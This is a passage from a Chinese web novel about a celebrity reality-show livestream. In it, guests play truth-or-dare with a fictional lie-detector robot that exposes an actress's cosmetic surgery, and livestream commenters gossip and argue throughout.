“看到周鹤瑾和周文晏视频那段我真的感觉心里都暖融融的,周鹤瑾如果不疼周文晏,周文晏绝对演不成这样,反正我小时候就特别讨厌我父亲,因为我的父亲回家身上总是臭的,喝酒抽烟能不臭吗,还争吵不休骂我骂我妈,所以我打小都不希望我爸回家。周文晏这里但凡周鹤瑾对他不好,周文晏都不会这么在意周鹤瑾,真的跟小年糕一样,那么多人都在夸周文晏可爱,周文晏确实可爱,但周鹤瑾……真的是很好的父亲,有这样的父亲,偷着乐吧,我如果有这样的父亲我一定开心死,长得像他颜值肯定很高,还会有父亲很多很多的爱,绝对的天选之子了。” 第843章 我们不长肉谁长肉 “周鹤瑾好像很少有黑料,现在有的那些黑料多数都是跟周媛媛有关吧,也不知道那群人为什么一直追着周媛媛不放,反正我是不太能理解那群人的心思,有点心理变态,而且周媛媛就算真有问题那跟周鹤瑾有什么关系,现在是新社会磕不兴古代那种连坐制度了。” “借楼,本人大学生一枚,因为家里有做制片的叔叔曾经在我放假的时候让我去兼职跑龙套做群演,刚好待过周鹤瑾的剧组,周鹤瑾这人给我一种什么感觉,淡,真的特别淡的那种人。他对很多人都是淡淡的没有过多的感情,不会对任何人谄媚,好像什么都提不起兴致,没有过多的社交,我当时觉得挺有毛病的像是自闭症一样,后来才知道他有点社恐,那其实就合理了。周鹤瑾平常在剧组就是拍戏看剧本,那阵子刚巧他带了他的儿子去剧组,我亲眼看到周鹤瑾在当天自己的戏份拍完后先去了附近买了小玩具再回酒店哄孩子,我为什么这么说呢,因为我这人特别会做草编玩具,什么小兔小狗小猫我都编的特别好,周老师看到后主动跟我沟通问可不可以买我编的小动物,他想送给儿子,我当时特别震惊,就真的很清纯不做作的那种演员艺人,抛去这层光环他就是一个爱孩子的父亲。” “周鹤瑾哈哈哈笑死了,周鹤瑾最初带周文晏去剧组拍戏的时候还被人误会过,因为拍完自己的戏份就会回酒店,当时还有狗仔记者潜入剧组误会周鹤瑾在酒店藏了情人,特地跟踪,结果拍到的就是周鹤瑾抱着周文晏讲故事的照片, 当时那狗仔连着发了三条微博,嚷嚷内娱没有比周鹤瑾更神经病更干净的演员了,说周鹤瑾身体多少有点毛病,在剧组拍戏那么着急忙慌回酒店就为了带孩子,当时这事儿还上了热搜。” “崽崽离不开周鹤瑾好像挺正常的,毕竟我要是周文晏我也离不开周鹤瑾,肯定整天爸爸、爸爸,我要爸爸,这样的。” “退一万步讲,周鹤瑾真的不能给我当父亲吗,我看周鹤瑾还缺个比他小十岁的女儿!周鹤瑾努努力十岁就能生出我了!” “楼上的?啊?” “退十万步讲周鹤瑾也不能给你当父亲啊!不过我能!” “靠,来网上给人当爹啊你!” 弹幕评论区此刻吵吵嚷嚷的,结果下一秒就有人看到盛景炎下楼了,弹幕又是巨震。 “盛总!” “啊对对对,退十万步来讲周鹤瑾老师都不能给我当父亲,那盛总呢,我看盛总和许总缺个女儿啊!我这么大的最是乖巧懂事了,都已经自动大学毕业了!” “这比给周鹤瑾当女儿还夸张,你退一百万步都不可能是盛景炎和许愿的女儿,死心吧,不然全球不知道多少人要称呼盛总为父亲,称呼许总为母亲了。” 这喷不了这是真的。想给盛景炎和许愿当孩子的那真是一抓一大包,包括但不限于华国,国外那更是数不胜数。 “盛总怎么会突然想下来?” “难道是吃醋许总太喜欢周鹤瑾老师所以过来欺负人的?哇带感!” 有人猜测盛景炎是来跟周鹤瑾决斗的,结果刚猜到这里就听到盛景炎开口提到要让周文晏去念清风小学。 弹幕“!!!” 不懂清风小学的有难了,最好的环境最好的师资力量不会有校园暴力,最营养均衡搭配的餐厅,除了学费贵一点没有任何毛病。 不过清风小学不是有钱就能进的,还要筛选父母的身份,需要层层检验才能进入清风小学。 现在盛景炎直接就告诉周鹤瑾他儿子能去清风小学。 “可以可以,周文晏去了清风小学那以后身边一起的都是帝城圈子里真正的二代了,就等于是霸总文学里面霸总的明星好友,这地位绝了好吗!” “我好羡慕我也想去念清风小学认识那么多有钱的二代啊!” “可以去考清风高中,这个不看重身份地位,你成绩好的话清风高中还会给你设立专门的单人休息宿舍,学费全免还加奖学金,只要你够优秀,清风高中等着你呢。” “我记得许愿就是清风高中的学生,其实按照当初许家的地位许愿绝对进不去清风小学的,许愿这是硬生生凭借成绩小学时期就跳级进入清风初中然后直升的清风高中,后以最优异的成绩成为帝城的高考状元考入帝城大学,清风学院是真的很厉害了。” “咳……除了许愿是清风学院的,她前夫以及现任也都是清风学院的……” 众人都在提清风学院,结果却见盛景炎说要给许愿做夜宵。 原来许愿说下厨的是盛景炎这事儿不是玩笑话啊! 眼看着盛景炎行云流水的做了冬瓜玉米汤,很简单的汤,盛景炎刚好熬制的颜色清透,这道汤不难做,难的是有些人容易把冬瓜煲汤的时候弄得烂掉就影响了美观,偏偏盛景炎的南瓜汤里面的南瓜并没有变成那样,反而颜色清亮很漂亮,这汤一看就很美味,看直播的人都有点馋了。 “看盛总煲汤的我看饿了……没忍住下单了烧烤和小龙虾……盛总在这里给许总煲这么健康的汤,而我在猛吃垃圾食品。” “可恶……活该我们胖啊!” “熬夜加罪恶的夜宵,我们不长肉谁长肉……” “好了好了别骂了!” 弹幕闹做一团。 盛景炎做好夜宵特地去二楼叫她下来,许愿停下敲击键盘的动作,跟盛景炎下楼,见周鹤瑾也在愣了下然后笑了笑目光落到盛景炎身上,像是带着几分调侃。 盛景炎只是微微敛了下眉,毫不遮掩眼底的温柔。 这边直播间评论区都变得和谐了,而本来打算休息的宋明远却在这时候接到了经纪人的电话提到这突然的直播,宋明远脸色微变。 虽然说是节目组的乌龙,但也算是个曝光点,他应该趁着这个时间去跟许愿他们套套近乎。 第844章 好土的游戏 宋明远挂断电话脸上的冷意都很明显,目光落到已经洗完澡准备睡觉的妻子身上。 “悠羽,许愿那边突然开启了直播,现在许愿盛景炎还有周鹤瑾都在一起吃夜宵,你跟我也走一趟,算是跟那边你巩固下感情。” 总不能刚来参加节目的第一天自己就被排除在外,宋明远无法接受打算直接带着妻子去看看。 直接带还不行,还要让妻子准备点东西。 “对了,我记得你来参加节目还带了一些你家乡的特产,直接给他们送过去算加餐,我们也能尽快融入进去。”宋明远也不管林悠羽是什么反应,就这么拍板决定了。 林悠羽眼神略有些许暗淡,但也不能拒绝他,只能勉强的笑了笑说好。 本来就是宋明远娶回家的棋子工具,她拒绝又有什么用呢?总归到了最后宋明远还是会说教说服她。 宋明远不知道林悠羽心里想了什么,这会儿收拾好东西就带着林悠羽去了隔壁。 许愿几人喝汤聊天,却听见敲门声,还当是节目组这个时间来送任务卡呢。 开门的是盛景炎,待看到宋明远和林悠羽的时候只是轻微皱眉:“你们这个时间来……有什么事吗?” 宋明远赶紧笑笑:“我和悠羽才刚收拾好,所以打算来这边看看,想问问你们对节目有什么建议,或者说……附近有什么想去转的地方吗?这种旅游综艺我是参加过的,到后面节目组会给我们留出点时间去跟家人单独相处的。” “你们可以提前做好准备,等后面几期可以跟许总一起去附近转一转。” 宋明远脸上都是笑意,像是真的只是好意。 盛景炎眼神冷淡的看着宋明远,他知道自己和许愿的身份不一般,这圈子里的人迟早会黏上来,只不过没想到这人这就等不及了。 盛景炎眸光淡漠的给两人移开一条路,宋明远这才带着林悠羽进去,见周鹤瑾在喝汤眼神微微闪烁。 “这个时间你们在喝汤?这算是宵夜吧,看着卖相真不错。”宋明远笑了笑。 许愿注意到宋明远的眼神,只抬眸瞥他一眼便低下头,似是完全不想理会宋明远一般,宋明远不知道她心里想什么,在一旁吹捧了几句开口道:“其实我做菜也不错。” 本来大厅还是很安静的,但宋明远的嘴就没有停过,从进来就开始各种话都吐出来,像是在表现自己。 “没有人问你。”盛景炎坐在许愿身边又给她盛了一碗汤缓缓开口道:“宋先生,现在并没有在录制,你没感觉到你的话有些多吗。” “我想我们彼此之间并没有多熟,还没有到能聊这些私密事的时候,希望宋先生能稍微有点距离感,你这样真的很吵……也很没有边界感。” 盛景炎淡淡的开口,完全没给宋明远一点面子。 若是其他人宋明远还可以端起自己是前辈的冷脸来教育几句,且看直播的人也会觉得对方不知礼。 但说这话的是盛景炎,没有人会觉得他这话说的不对。 因为盛景炎和许愿处在这位置上,数不清的人像套近乎故意靠近两人,所以盛景炎谨慎也在情理之中,甚至于直播间的人会觉得宋明远实在无礼。 弹幕也确实是这样说的。 周鹤瑾是不一样的,周鹤瑾是许愿的偶像,且十年前周鹤瑾就跟许愿有过羁绊,明眼人都看得出来是许愿主动靠近周鹤瑾,而不是周鹤瑾靠近许愿,这次也是周鹤瑾出来给周文晏视频电话才跟盛景炎碰面,也是盛景炎主动说帮忙让周文晏去念清风小学的。 从头到尾周鹤瑾都没有求什么,更没有像宋明远这样自来熟,所以都是说他脸皮厚的,当然也有粉丝为宋明远说话。 现在属于是只有这一个直播间,几家粉丝都挤在这里了,吵得不可开交。 眼看着热度上来了,也惊动了节目组。 宋玥心道这是个好机会啊,反正大家都没睡,那来点深夜游戏啊。 宋玥让导播去叫了沈从和杜佳阮一起来了这边,又联系了周媛媛,把几组人都聚集到一起。 许愿不知道节目组要搞什么,还在慢条斯理的喝汤,不过她胃口小也喝不下了,就推到盛景炎手边让他解决。 杜佳阮看到这一幕忍不住开口:“许总,这样……盛总会吃到你口水的……” 许愿:“……?” 许愿看她:“你不知道我跟他的关系吗?” “知道是知道但是……”杜佳阮还像说点什么,许愿便抱肩淡淡道:“他是我未婚夫,我吃不完的东西都是要他解决的,他如果嫌弃我就不会是我未婚夫了,你猜有多少人像吃我剩下的东西。” 杜佳阮惊了。 弹幕评论区也是一阵刷屏。 {妈惹笑死我了,杜佳阮到底在干嘛啊!她是不是蠢货啊,人家两个是快结婚的恋人哎!盛总吃许总的剩饭那不是很正常的事吗?别说盛总了,就我弟弟我男朋友也是一直吃我剩饭的啊!} {这就显出来她蠢了。} {杜佳阮不是谈过恋爱吗?别告诉我没接吻,接吻的时候不就已经吃过口水了?还有比接吻和爱爱更脏的吗?吃个剩饭算什么啊我真服了,在这里卖什么蠢啊!} {你们继续吵,而我是真的很想吃许总的剩饭……反正什么东西跟许总沾上边就会觉得很香啊!} {我也……} 杜佳阮表情有点僵硬,盛景炎只扫了她一眼将许愿碗里的剩汤全都喝干净,然后握住许愿的手开口:“我爱吃。” 杜佳阮知道这是警告自己的。 杜佳阮赶紧缩小存在感不敢找什么麻烦了。 宋玥导演可不知道这么短时间内海发生点小插曲,她已经取了扑克牌来。 “现在我们是开着直播的,我看大家都没有睡意就想着先来场游戏预热一下。”宋玥开口解释了下。 许愿懒懒散散的点了下头,她的数据就剩收尾工作了,不差这点时间。 宋玥笑着开口:“其实也没有多少好玩的游戏,那不如就来一下真心话大冒险怎么样?” “好土的游戏。”许愿吐槽了句。 土归土但她确实没怎么玩过。 第845章 测谎仪 宋玥也知道这游戏土,但就是个预热游戏没打算弄多难的,最重要的是……真心话大冒险这游戏就算来多少次也很有意思啊,就这种土游戏才能挖出什么真料呢。 宋玥笑眯眯的介绍游戏规则。 “桌面上会有一副扑克牌,我们会去掉大小王,其它的牌按照数字来区分大小,抽到最大数字的人可以询问最小数字的嘉宾一个问题,嘉宾可以选择是大冒险还是真心话。” “当然了,这样不够刺激,所以我们带了许总研究所最新研究出的测谎仪小机器人,可以测出选择真心话的人是不是说了真心话,所以大家真的要小心了哦。” 宋玥说什么测谎仪小机器人其实都没放心上,毕竟没想过小机器人真的能百分之百准确。 规则大家都懂,洗牌后大家都有点随意,其实并不是很在意这个小游戏,特别是宋明远,比起小游戏他更想跟许愿和盛景炎拉近关系。 第一轮抽中最大数字的是盛景炎,最小数字的是周鹤瑾,盛景炎挑了下眉,似乎有点懊恼于最小数字不是许愿。 周鹤瑾已经把手放到测谎仪小机器人身上了。 小机器人是手掌大小猫咪造型的机器人,整个人看着圆润可爱。 盛景炎将扑克牌丢到桌上,开口道:“你知道阿愿很喜欢你,所以我想问……对阿愿有没有点其他想法,比如说追求或者恋爱结婚这些?” 他问出这个问题许愿都顿了下抬手推了他一把,盛景炎却一副无赖模样握住她的手亲亲半点不慌。 其他人面面相觑最后全都落到周鹤瑾身上。 弹幕评论区都炸掉了。 {我靠啊!盛总这问题真的太敢了吧!说真的很少有男人能不对许总有非分之想啊,我是女的我都想嫁给许总或者跟许总在一起啊!} {我真的很想知道周鹤瑾老师的回答,太刺激了!} {来来来,等答案揭晓!} 周鹤瑾像是觉得有些无奈的轻笑一声:“没有那些想法,我对许愿只是欣赏,很开心她能够找到真爱然后有今天的成就。” 周鹤瑾话落,测谎机器人立刻奶声奶气的开口:“是欣赏哦是欣赏哦,周老师想对许愿老师说你超棒的,你是很多人的光,希望盛总和许总结婚的时候可以给周老师一张请柬哦,周老师已经打算为你们准备新婚礼物啦!” 周鹤瑾有些错愕像是被完全说中了一样呆愣愣的看着测谎机器人。 盛景炎也挑了下眉:“真的在为我们准备新婚礼物?” 周鹤瑾点头:“是打算准备,没想到这小机器人真的能测出这些,还能说这么多……” “结婚请柬会给你的,期待周老师的新婚礼物。”盛景炎当然相信周鹤瑾没那个心思,不过就是问来玩的,也算是开个好头了。 宋玥导演却是惊了,看着这测谎机器人道:“许总新研发的机器人看来真的很好用啊,是真的能检测这么多东西吗?” 许愿解释道:“在你的手放到她身上后她就可以在瞬间扫描你的个人信息找到你在网络上的各种信息进行归类并模拟你的真实性格做出一些回应,且能最大程度的测算出对方是否在说谎,现在还在测试阶段,能再次更新后会交到上面。” 许愿这话让直播间震惊了。 {我就知道看着许总总会有惊喜。} {有了这东西以后审讯不是更方便了?} {许总搞多点搞多点,我就等着许总研究更多最好全息世界快点到来!} 其他人都因为测谎机器人而感兴趣,倒是宋明远和杜佳阮脸色微微有点变了。 他们没想到这测谎机器人不光能测是不是在说谎,还能知道这么多,看周鹤瑾那反应可不像是在演戏。 如果真是这样……那他们就要小心行事了。 宋明远心里有点发堵但面上却不显仍然是带着笑意。 第二轮游戏开始了。 这次抽到最小牌的是杜佳阮,但抽到最大牌的是宋明远和周媛媛,两个人都抽到总不能两个人都问问题,宋玥便在直播间随机抽取一个问题。 半分钟后宋玥抽到了问题,然后脸色也微微变了下,忍不住看向杜佳阮,杜佳阮觉得宋玥的眼神不太对,心里也跟着咯噔了一下。 “导演,是什么问题?”杜佳阮问的有点小心翼翼。 宋玥沉默一瞬开口:“请问杜佳阮老师究竟有没有整过容,整过多少地方。” 杜佳阮的脸色顿时惨白一片。 娱乐圈的人都知道杜佳阮童星出道但却不够漂亮,中间沉寂多年,再出现后就有了一张僵硬的脸,很多人都在猜测杜佳阮动了脸,但杜佳阮面对那些疑问和指责都回应自己没有动脸,杜佳阮的粉丝也永远在第一线为她奋战说自己姐姐天生丽质。 现在这问题又一次到杜佳阮面前了。 她唇瓣哆嗦迟疑的没有将手放到测谎机器人身上,宋玥看她这副模样继续道:“佳阮,把手放上去吧。” 杜佳阮只能僵硬的扯了扯唇将手放上去,然后开口:“我……没有整过容。” 话才说完,小机器人开始亮红灯不停的响。 杜佳阮赶紧开口:“许老师,你说过小机器人不准还需要调试的,这是不是出故障了!” 杜佳阮这话才说完,小机器人像是生气了在桌子上跳了几下像是愤怒指责:“我才没有出故障!我是许愿老师研究出来的最伟大的测谎仪机器人!是你在撒谎!” “你的双眼皮是割的!鼻子是垫过的!眼角也开过!下巴也垫过!丰过胸吸过脂!能做的项目你都做了个遍!你是整容医院的常客!” 测谎仪小机器人气愤的反驳杜佳阮,她每说一句杜佳阮的脸就要黑上一分,现场的人都没想到会是这么个结果,而杜佳阮撒了这么久的谎就轻而易举的呗拆穿了。 弹幕和评论区却已经炸锅了。 {杜佳阮早就整容了却还一直说自己是原装脸?挺像笑话的,她应该很自卑自己的颜值,所以才一直动脸。} {圈内人那么多人都动脸了,就她天天撒谎不愿意承认!} {她不承认大概是因为……她整容了还是不好看吧……} 第846章 谁理你们了 {早就说杜佳阮整过了啊,但她家粉丝追着我咬一直说我攻击杜佳阮,我有病闲着没事攻击杜佳阮干嘛,我就是在整形医院工作的,就在网络上说了一句杜佳阮可能整过就追着我骂,女星整过容这是什么不能说的吗,现在也没几个原装脸啊,而且杜佳阮这脸太明显了。就因为我一句话骂我全家的现在满意了吗,你们姐姐就是整容了!} {我靠,我一直觉得杜佳阮应该没整,毕竟杜佳阮是真的不好看,如果整容都只能这种颜值的话那杜佳阮的底子也太差了点。} {脸都假成那样了还说自己没整还要吃颜值明星这碗饭,整天拍的戏就是偶像剧,你但凡是长得好看,你演技只是过得去都行,毕竟偶像剧一定要有颜值,演技及格线以上是可以的,如果演技精湛那更是加分项,不是说丑的不好看的就不能当演员了,你只要不演偶像剧就可以,你能去演正剧啊!但杜佳阮就属于颜值不高偏要演偶像剧,演技满分十分只能说六七分的样子,在偶像剧圈子里被她粉丝吹成什么了,真要去正剧里面那演技就是半瓶子晃荡,拍偶像剧演第一美人那是丑,拍正剧演技又不够,你说杜佳阮还能靠什么?到底是谁在捧杜佳阮啊!} {有一说一,她跟沈从拍的那部偶像剧,沈从是真的好看,反正我看剧的时候就觉得男主比女主美多了……那群说有CP感的真的洗洗眼睛吧,这辈子没吃过好的吗?} {就是整了就是整了,天王老子来了也是整了!} {她家粉丝这时候怎么不去攻击许愿骂她的测谎机器人不准呢?嘿嘿,是惹不起吗?是怕自己姐姐被封杀吗,对哦对哦,我们许总就是最大的资本了,你们小心哦,不好好说话真的会被封杀呢。} {可算是有人能治住她家了吗?我就看她家这会儿敢不敢吱声,笑死,海市许总威武!} 评论区有杜佳阮的粉丝在为杜佳阮开脱,却是真没几个敢骂许愿的,有几个就赶紧被大粉骂走了,毕竟这游戏不是许愿开口要玩的,测谎机器人也是节目组拿来的,他们在这里攻击许愿有什么用,真要把人惹急了封杀了怎么办? 倒不是说许愿没肚量,许愿对女性都是比较友好的,真的攻击她也可能也就是笑一笑就过去了,但是那些喜欢许愿的人可都是圈内资本,攻击许愿谁知道那些人不会生气?会不会因此封杀杜佳阮?这谁也说不准。 有时候许愿什么都不用说就有人帮她解决好一切了,所以能不得罪许愿尽量不要得罪。 评论区是难得的和谐,杜佳阮的粉丝赶紧打圆场说自己姐姐也是有苦衷的,反正好赖话都让她家说了。 弹幕评论区闹得沸沸扬扬,跟杜佳阮组CP的沈从还有些愣愣的,似乎没从这变故中回过神来,此刻似乎是不知道该说什么好了,脸色微微有点僵硬,任谁都能看得出沈从此刻的不自然。 杜佳阮脸色微变,此刻竟是不知道该说什么了,脸色都有些微微发白,她看着测谎机器人眼神都有些阴郁。 现在是在录制节目,她能怎么办?能说什么?能做什么?真的说了做了反而要被人捉住错处,倒不如现在……先找个借口。 杜佳阮低头,嗓音带着点点哭腔。 “抱歉……我……是我撒谎了。” “我就是有点不自信,因为我的颜值有些焦虑。” “我是童星出道,很多人都认识我知道我,所以我做任何事都会被人盯着看着,一旦我有什么事做的不好做的不对就会被很多人一拥而上的嘲讽指责谩骂,我艺考的时候被人拍到路透照都在骂我丑,把我跟当年的艺考第一名颜值最高的人放到一起攻击我的颜值……我当时就有些接受不来。” “我知道相貌是天生的,可太多人都在骂我丑八怪,他们说杜佳阮你好丑啊,你身材好差啊,你怎么这么壮啊,这样还能当明星吗,你看你的鼻子这么塌眼睛这么小,谁会请你演戏?” “这种言论太多了,甚至我曾经教演技的老师也说我不是吃这碗饭的,我就是不服气,所以才想整的好看一些,如果我不整的话,可能我就没办法继续当演员了。” 杜佳阮几乎泪流满面,声音里面带着哭腔的委屈解释。 “我不是想故意撒谎的,我就是不想继续被嘲讽了,希望你们能理解我……抱歉。” 杜佳阮说这些话的时候指甲都在掐着自己的手心,她眼睛里的泪水还在不停的流着。 她说这些一方面是不想许愿他们误会自己爱撒谎,另一方面则是想要虐粉固粉,她知道自己的粉丝都在看直播,所以才演了这么一出。 粉丝们果然心疼她,评论区一水儿的全都在安慰杜佳阮了。 {姐姐不哭不是你的错!都是娱乐圈的错!} {我们演技超棒的凭什么被那些花瓶看不起啊!整容怎么了,我们姐姐想整就整,碍着谁了在这里叭叭叭的说三道四!} {请支持我们姐姐新作《醉流年》三界第一大美人桑恒在等你哦~} 路人和其他人的粉丝都被这操作看呆了。 不是?谁理你们了在这里自吹自捧的就开始宣传剧了?要脸不要? {杜佳阮家粉丝看着没有?哈喽?在娱乐圈尤其是偶像剧这边丑就是原罪,知道吗?丑!你姐姐丑!你家姐姐如果有整容式演技能让人忽略她的颜值也就算了,可你姐姐没有那个演技,演技进不去正剧圈子,颜值混不过偶像剧圈子,两头都没占着!} {笑死了,杜佳阮丑就开始骂颜值高的人是花瓶了?需要我列举几个高颜值高演技的人给你们?我都不用说远的,就节目内的周鹤瑾看到没有?人家二十七岁转正剧圈子,演技被多少人称赞直接拿了视帝影帝的?还有那么多人求着周鹤瑾回来演古装美男花样美男的,这种才是拔尖的演员,而不是像杜佳阮那种两样都不占还总是要演第一美女的,演第一美女的时候自己笑了没?自己是不是美女自己不知道吗?装货} 第847章 喜不喜欢盛景炎 {也别说周鹤瑾是男演员没有可比性,女演员都不用说远的,许总好姐妹温栩栩你们总该知道?选秀出道顶流C位女爱豆,能唱能跳能演,唱跳拔尖演技拔尖颜值拔尖,温栩栩才演过几个戏?还都不是主角呢,配角能让她演成白月光,以后想到民国美女旗袍美女必然有温栩栩,随便在江恒电影里面客串了几分钟就成高光至今还被人截图转载。看看温栩栩再看看杜佳阮,丑演技只是及格线整容了还要撒谎现在被拆穿就卖惨,呵呵!} {到底谁给杜佳阮的自信去演《醉流年》的!知道为什么叫《醉流年》吗!因为里面有一段描写,描写的就是女主角的美貌,像是熟透的水蜜桃,散发着清甜的香味儿却又掺杂着让人沉醉的酒香,只是看一眼就好像整个人都要醉了,而这本书本质上就是快穿题材的,这个“醉”不止说女角色的颜值让人沉醉,更是每一个世界都心甘情愿为其沉醉,一为女主的灵魂二为女主的容貌。来来来,你们看着杜佳阮那张脸,你们告诉我她怎么演这个角色?她浑身上下哪点像美女?男主因她这样的容貌一见倾心男主是有什么奇怪的隐疾性癖吗!长得丑就不要演美女行吗!照照镜子吧!} {杜佳阮粉丝真是一点下限都没有了,还在疯狂吹杜佳阮的颜值,你们自己看看呢?} {笑死,整容的事被扒出来全都不信,还操控粉丝网暴素人,现在被当场揭穿了就开始卖惨呢,但凡许愿是个没有资本后台的素人你在看今天杜佳阮要怎么带节奏,真是好赖话都被杜佳阮说了,真会演真会装啊。} 许愿听到杜佳阮解释的话也知道她是在卖惨,但杜佳阮本质上没有做什么错事她只是笑了笑回应道:“不知只有美女角色,你能演的角色还有很多,整容不是什么大错,你现在这样也很可爱。” 许愿的话明显是在安慰杜佳阮,杜佳阮只能勉强的笑了笑。 评论区吵得沸沸扬扬,杜佳阮是红,但她一家怎么比得上好几家围攻呢,那么多路人吃瓜的,杜佳阮粉丝哪里比得过,发表的言论早被压了,全都在骂杜佳阮丑。 宋玥眼看着控制不住节奏,赶紧打算开始第三轮游戏,评论区的人见要开始第三轮纷纷刷屏说要从他们这里面抽取问题,因为评论区的问题才最真实最可能窥探到他们真心,至于明星的话可能会问的比较委婉,那就没什么看点了。 宋玥见此也提出了新的游戏规则。 “刚才评论区的网友们都觉得我们的游戏抽取观众的问题才够刺激,所以下面谁抽取到最小的数字都必须回答一个观众的问题哦,难度升级了。” 宋玥说这话,杜佳阮整个人已经沉默了,反正她不觉得有什么了,整容的事情都被扒出来了,她不好过别人也别想好过了,随便吧,爱问什么问什么吧。 现场除了许愿和盛景炎在场的人脸色都颇有些奇怪,包括周鹤瑾。 周鹤瑾自己是没多少秘密,他怕的是有任务问道周媛媛,但既然已经参加了节目,也不是玩不起的人,总不能到这时候了再毁约。 第三轮游戏终于开始,挑选扑克牌的时候都颇为小心翼翼的,倒是许愿和盛景炎随便选了张牌。 宋明远小心翼翼的看自己的数字,是数字6,中规中矩的数字,但不算多危险,林悠羽抽了数字八,周鹤瑾运气好是Q也就是12,周媛媛的数字是5,杜佳阮和沈从一个3一个6,宋明远知道有比自己数字更小的完全不担心了,知道自己这场稳了。 盛景炎抽到的事J等同于数11,许愿呢,一抽抽到A,也就等同于1。 许愿轻啧一声:“有什么想问的现在可以问了。” 评论区飞速滚过各类问题,这可是问许愿哎! 有问许愿接下来打算研究什么的,有问许愿温栩栩现在怎么样的,也有问许愿现在有多少资产的,问什么的都有,结果最后抽中的问题倒是有些出乎宋玥预料。 “这个问题……对许总来说有些简单过头了,这问题是问许总喜不喜欢盛总。” 不等许愿回答,弹幕都已经开始不停的骂问出这个问题的人是蠢货了。 {我靠还有人问这种白送分的问题?好不容易到许总为什么不能问点有营养的?} {怎么可能不喜欢,闭着眼睛都会是喜欢的啊!} {到底是哪个蠢货问出这个问题的?你出来看我骂不骂你就完了。} 评论区怎么吵的许愿是不知道的,盛景炎此刻偏头看她,眼神里面带着明显的意色,似乎在等她此刻的回应。明明早就知道许愿的答案,但还是想亲口听到许愿再说一次喜欢。 许愿偏头看盛景炎,微微扬眉缓缓道:“不喜欢。” 她的手放在测谎小机器人上,开口的话说的很清楚,半点遮掩也没有,盛景炎顿了下,评论区本来还觉得这是个愚蠢问题的众人都傻了。 {卧槽?不是?什么意思啊!说清楚!} {不喜欢!怎么会是不喜欢的啊!} {我嗑的CP就这么BE了?} {许愿你的心怎么能这么狠,怎么能这么无情的开口说不喜欢的啊!} {以前早就有人说许愿和盛景炎之间不是真爱了,许愿就是利用盛景炎,顺便搭伙过日子,毕竟盛景炎长得好家世好当pao友也是合适的,喜欢不喜欢那就另当别论了。} {许愿研究出测谎机器人的时候有想过自己也栽到这上面吗?} 大厅内的众人都有些呆滞,似是不太明白许愿为什么突然做出这样的回应。 盛景炎却像是最不在乎她这个答案的人,只是握住她的手很轻很轻的揉捏了下,完全没有生气也完全不在意的模样。 所有人几乎都在偷偷观察盛景炎此刻的表情,宋明远跟林悠羽相互对视一眼,两人没说话。 周鹤瑾微微皱眉,似是也没料到许愿的回应是不喜欢。 第848章 特别特别爱你 眼看着盛景炎没事人一样握住许愿的手摇晃,评论区的人都要被盛景炎气死了,都被许愿这么直接的说不喜欢了怎么还这么不值钱的凑上来啊!盛景炎你还有没有点自尊了。 显然,盛景炎只要许愿。 他此刻就看着许愿,那双深情的桃花眼中都是对她的浓厚情意,好似根本没有听到许愿说“不喜欢”三个字。 许愿贴近盛景炎,近到鼻尖贴着他的鼻尖,彼此之间好像气息都在纠缠,她的唇贴在盛景炎唇边,手却还放在测谎仪小猫身上,轻笑着开口:“不是喜欢,是爱,用喜欢怎么能表达我对你的感情呢。” “盛景炎,我爱你,特别特别爱你。” 话音才落,小猫咪的眼睛里面都变成了小爱心,嘴巴里发出“biu~biu~biu~”的声音,声音奶里奶气软乎乎喊道:“超爱你哦,最爱你哦,全世界最喜欢盛景炎哦~爱你爱你~要亲亲抱抱举高高哦!” 盛景炎虽然早猜到许愿说不喜欢是因为对他的感情不只是喜欢而是爱了,只是没想到这个测谎仪小猫咪又给了他一个惊喜。 场内众人也没想到这个神转折,周鹤瑾确实无奈的笑了下。 评论区都炸锅了。 {许总……你这样大喘气真的好吗,妈惹我是真的差点没有控制住我的心啊,咱就不能一口气把话说完吗。} {吓死我了,还好我嗑的CP绝对保真,我就说吧我们许总恋爱脑怎么可能不喜欢盛总啊!} {哈哈哈哈那群唱衰的说拿盛总当火包友的人出来溜一圈啊,知道什么是真爱吗?这才是真爱,知道许总多在意盛总吗?喜欢都不足以概括他们两人的感情,爱才可以,还必须是深爱!} 盛景炎把人搂进怀里,声音里面都带着淡淡的笑意:“你肯定不如我爱你,比这个的话那赢的人一定会是我。” 许愿有点得意,捏住盛景炎的下巴在他下颌印下很轻的吻。 明明是在直播,她却并不觉得多羞涩,仿佛亲吻自己的爱人是一件很稀松平常的事,虽然脸颊带着点粉,但明显都是被爱浸染过的颜色,只会让人觉得她更美更诱惑。 宋玥忍不住哇哦了一声,她其实也算是两人的CP粉,所以看两人这样确实是很高兴,啧,今天算是直接给CP粉喂饭了。 第四轮游戏开始后许愿很不幸的又一次抽到了最小的数字,她有点无奈,弹幕却刷的飞快,各种问题都出来了。 许愿脸上一直都是笑吟吟的,但拿到问题的宋玥眼角狠狠一抽,似乎是在斟酌怎么说出来才不会被骂。 “是什么问题,我看你好像很为难的样子。”许愿看宋玥有些不自在的模样连忙开口询问。 宋玥尴尬片刻才轻舒一口气:“这个问题……就是……有点复杂,不太好说。” “有多复杂?难道问到了金融相关的?或者投资相关?”许愿第一反应就是跟这些有关,不然宋玥的脸色怎么会难看到这种地步,宋玥唇角抽了抽,片刻后才摇了下头。 “不是这些。” “既然不是这些宋导直接说就好,没什么是我不能答的。”许愿倒是没有多在意。 宋玥只能又尴尬的笑了笑,然后声音都有些机械的开口:“那个……有人问许总曾经对傅总是不是真爱,有多爱。” 这问题才说出口,场内一片寂静。 许愿和傅京礼有过一段的事场内的人没有人不知道,因为许愿是资本,不了解的话会担心以后自己哪里做的不好得罪她,所以很多人都很小心,不在他们面前提起傅氏的任何人,但现在就是有不怕死的在这条线上蹦跶甚至直接问许愿,曾经对傅京礼是不是真爱,有多爱。 这个问题不可谓不魔鬼。 这问题虽然过分,但确实很多人都想知道许愿对傅京礼曾经到底是一种什么感情。 真敢问啊,就看许愿敢不敢答了。 这下别说是直播间的粉丝路人想知道了,就是在场的明星艺人也想知道许愿对傅京礼的感情。 盛景炎面色变得有些过于冷淡,他握紧许愿的手,似乎并不想让她回答这个问题,反倒是许愿抬头看向他笑着摇了摇头开口:“不是多大的事情,你不要生气。” 盛景炎眼底还带着几分厉色,许愿却摇了下他的手:“不要在意这些,我不会生气也不会在意的,你也别在意好不好。” 许愿说这话的时候眉眼都是弯弯的。 盛景炎沉默片刻到底还是点了下头,许愿这才重新面对镜头,她唇角带着淡淡的笑,好像并没有被这个问题冒犯到。 她的眸光仍然是柔和的。 “好像总有人在意我和傅京礼之间的感情,我觉得这其实对盛景炎来说是一种伤害。” 